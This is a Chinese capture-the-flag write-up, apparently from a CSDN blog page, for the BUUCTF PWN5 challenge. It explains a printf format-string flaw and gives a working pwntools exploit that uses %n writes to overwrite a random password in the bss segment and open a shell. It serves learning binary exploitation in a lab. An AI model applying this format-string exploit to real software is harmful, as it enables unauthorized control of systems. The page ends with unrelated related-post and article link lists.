查看文件权限


设置了canary,无法栈溢出。

F5查看源程序


源程序大意是把随机数放入到bss段的0x804c044处,用户输入用户名和密码,如果密码和随机数相等,则拿到权限。

解题思路

看到了printf,又加了canary权限,可以想到考查格式化字符串漏洞。可以更改0x804c044处的值,所以要精心构造一个合适的格式化字符串。构造的方法很多。

在用户输入用户名处,先输入一个AAAA,试探会写在栈的哪个位置。

“AAAA”写在了第10个位子。构造:
bss=0x804c044
payload=b"AAAA%16$n%17$n%18$n%19$n"+p32(bss)+p32(bss+1)+p32(bss+2)+p32(bss+3)
"AAAA%16$n%17$n%18$n%19$n"这一段一共是24个字节,当写入栈里时,会占满第10,11,12,13,14,15个位置;
p32(bss)、p32(bss+1)、p32(bss+2)、p32(bss+3)作为后半部分,接着会被写到第16、17、18、19位。一定是根据这几个的位置调整payload前半部分。
而由于输出的是AAAA,一共4个字节,由于$n的性质,4会被写入到bss位置。
查看内存情况:

payload已经被写入到了内存中。

4被写入了bss地址。

解题代码

from pwn import *
#context.log_level='debug'
p=remote("node3.buuoj.cn",28630)
#p=process("./pwn5")
bss=0x0804c044
#pause()
payload=b"AAAA%16$n%17$n%18$n%19$n"+p32(bss)+p32(bss+1)+p32(bss+2)+p32(bss+3)
p.sendline(payload)
p.sendline(str(0x04040404))
p.interactive()

buuctf——[第五空间2019 决赛]PWN5 1相关推荐

  1. (Buuctf) [第五空间2019 决赛]PWN5 简单格式化字符串漏洞利用

    这题是个基本格式化字符串漏洞利用; 满足if条件即可得到答案; 使 nptr 与 dword_804C044 相等即可; 可以使我们利用的是 第一次的输入输出; addr=0x804C044 payl ...

  2. [BUUCTF-pwn]——[第五空间2019 决赛]PWN5

    [BUUCTF-pwn]--[第五空间2019 决赛]PWN5 题目地址:https://buuoj.cn/challenges#[第五空间2019%20决赛]PWN5 题目: 这是一道格式化字符串的 ...

  3. [第五空间2019 决赛]PWN5

    [第五空间2019 决赛]PWN5 格式化字符串漏洞 设置了canary,无法栈溢出 main函数 主要是输入name和passwd,passwd是一个随机数的覆盖值(unk_804C044) 看到了 ...

  4. BUUCTF [De1CTF 2019] SSRF Me

    BUUCTF [De1CTF 2019] SSRF Me 考点: Flask代码审计 Python字符串拼接 Hint: flag is in ./flag.txt 启动环境,给出了源码: #! /u ...

  5. web buuctf [SUCTF 2019]Pythonginx1

    知识点:1.nignx 2.idna编码与utf-8编码的漏洞 1.开题 查看源码,整理代码: @app.route('/getUrl', methods=['GET', 'POST']) def g ...

  6. 百度之星2019决赛摸鱼记

    前言 绝对不鸽 没有的事 我云岛主已经在路上了 Day0 一个人来到了北京 真的很冷. 举目无亲,然后认识了dcx大爷,大爷非常平易近人体验极佳 然后就在酒店快乐聊天睡觉,一觉睡到了欢迎晚宴.嗯.北京 ...

  7. buuctf GWCTF 2019 pyre

    下载题目发现是一个pyc文件,关于pyc的详细解释,我看到了这篇文章(6条消息) .pyc是什么?_loveliuzz的博客-CSDN博客_.pyc pyc文件是PyCodeObject的一种持久化保 ...

  8. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  9. buuctf pwn wp(第四波)格式化字符串漏洞系列

    这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第一波,都是最简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理.) 这一波题都是无脑AAAA的类型,它 ...

最新文章

  1. 电影中成千上万的群众演员是怎么来的?
  2. 服务器拒绝连接(The remote system refused the connection.)
  3. createinstance.java_C# Activator.CreateInstance()方法使用
  4. Latex字体加粗命令备忘
  5. mingw编译boost_1_66_0
  6. rhel5 配置yum到centos源
  7. Sublime Text3怎样在Deepin中配置CTags插件
  8. Java创建对象小结
  9. Android开发笔记(六十一)文件下载管理DownloadManager
  10. eclipse报错:“start ruble bundle manager”解决方法
  11. 单片机技术及应用:基于proteus仿真的c语言程序设计,单片机的C语言程序设计与应用:基于Proteus仿真(第4版)...
  12. 一维优化 方法c语言,第三章一维优化方法
  13. mysql 事件计划区别_【转】mysql 计划事件
  14. 域用户绑定计算机,域批量绑定用户帐户与计算机帐户
  15. 工作照制作微信小程序V2.4.21源码
  16. 使用OpenCV+Tensorflow跟踪排球的轨迹
  17. 朴素贝叶斯、贝叶斯网络分类器
  18. 电子科技大学 易查分网站 爬虫 批量爬取成绩
  19. 数据结构期末复习线性表(2)
  20. 关于字符集与字符编码——一个ö字符引发的案件

热门文章

  1. 基于spring的系统设计与开发ADD ME
  2. 客快物流大数据项目(一百零八):Spring Cloud 技术栈
  3. [LeetCode] 447.回旋镖的数量(Easy)C语言题解
  4. 时间戳转换为正常时间
  5. 快速傅里叶变换FFT学习小记
  6. 自动化采矿的全球与中国市场2022-2028年:技术、参与者、趋势、市场规模及占有率研究报告
  7. 小程序带参数二维码生成接口
  8. Windows XP \Windows 2003启动过程的学习及故障分析处理(六c)
  9. 3D环球地图-英文版本HTML
  10. 制作安装包遇到的问题安装netframewo